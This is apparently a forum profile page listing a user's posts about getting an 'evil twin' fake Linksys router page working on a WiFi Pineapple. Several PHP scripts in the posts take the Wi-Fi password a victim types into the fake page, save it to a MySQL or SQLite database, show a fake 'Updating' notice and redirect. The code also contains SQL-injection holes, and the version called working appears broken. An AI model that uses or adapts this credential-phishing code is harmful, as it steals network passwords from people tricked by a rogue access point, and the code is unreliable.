Jump to content

honolulu6969

Active Members
  • Posts

    10
  • Joined

  • Last visited

Posts posted by honolulu6969

  1. im trying to use evil_twin linksys router page on mk5

    i tough with the last change i made with sqlite3 it will work ... but im still not getting any info on DB .... everything else work good

    on kali linux everything work great with mysql but on mk5 with sqlite i cant get it to work .... before the pages wasent redirecting but now is redirecting and i still dont get the infos on sqlite3 DB

    any clue why is not sending the infos to sqlite3 ?

  2. thanks alot guys i really apreciate and thanks for not giving me the answer directly so i learned something :)

    this worked for me if it can help somebody else


    
    <?php
    session_start();
    
    ob_start();
    
    
    $host="localhost"; 
    $username="root";  
    $db_name="home";  
    $tbl_name="keys";  
    
    $db = new SQLite3('home');
    
    
    $password=$_POST['password'];
    $confirm=$_POST['confirm'];
    
    if ($password != $confirm) {
    header("location:error.html");
    break;
    }
    
    $db->exec('INSERT INTO keys (password, confirm) VALUES ("$password","$confirm")');
    echo "Inserted row into table users <br />";
    
    echo "Updating ... $password";
    sleep(6);
    header("location:updating.html");
    
    ob_end_flush();
    ?>
    
  3. this is what i did i but i dont get nothing on the DB

    
    <?php
    session_start();
    
    ob_start();
    
    
    $host="localhost"; 
    $username="root";
    $db_name="home"; 
    $tbl_name="keys"; 
    
    sqlite3_open("$db_name");
    
    $password=$_POST['password'];
    $confirm=$_POST['confirm'];
    
    if ($password != $confirm) {
    header("location:error.html");
    break;
    }
    
    
    sqlite3_query("INSERT INTO keys(password, confirm) VALUES('$password', '$confirm');");
    
    echo "Updating ... $password";
    sleep(6);
    header("location:updating.html");
    
    ob_end_flush();
    ?>
    
  4. last help im newbi with sqlite .. how can i translate this to sqlite3 :

    
    <?php
    session_start();
    
    ob_start();
    
    
    $host="localhost"; // Host name
    $username="root"; // Mysql username
    $db_name="home"; // Database name
    $tbl_name="key"; // Table name
    
    mysql_connect("$host", "$username")or die("Cannot connect to MySQL database.");
    mysql_select_db("$db_name")or die("MySQL database unavailable.");
    
    $password=$_POST['password'];
    $confirm=$_POST['confirm'];
    
    if ($password != $confirm) {
    header("location:error.html");
    break;
    }
    
    
    mysql_query("INSERT INTO keys(password, confirm) VALUES('$password', '$confirm');");
    
    echo "Updating ... $password";
    sleep(6);
    header("location:updating.html");
    
    ob_end_flush();
    ?>
    
    
  5. hi im trying to install mysql on wifi pineapple

    so far the installation worked but i cant start mysql

    this is what i get :

    
    root@Pineapple:/# mysqld start
    141125 22:56:53 [ERROR] Can't find messagefile '/usr/share/mysql/english/errmsg.sys'
    mysqld: Too many arguments (first extra is 'start').
    Use --verbose --help to get a list of available options
    141125 22:56:53 [ERROR] Aborting
    
    141125 22:56:53 [Note]
    
    

    any help would be apreciate

    or any other way to install SQL DB on wifi pineapple

    thanks alot .

×
×
  • Create New...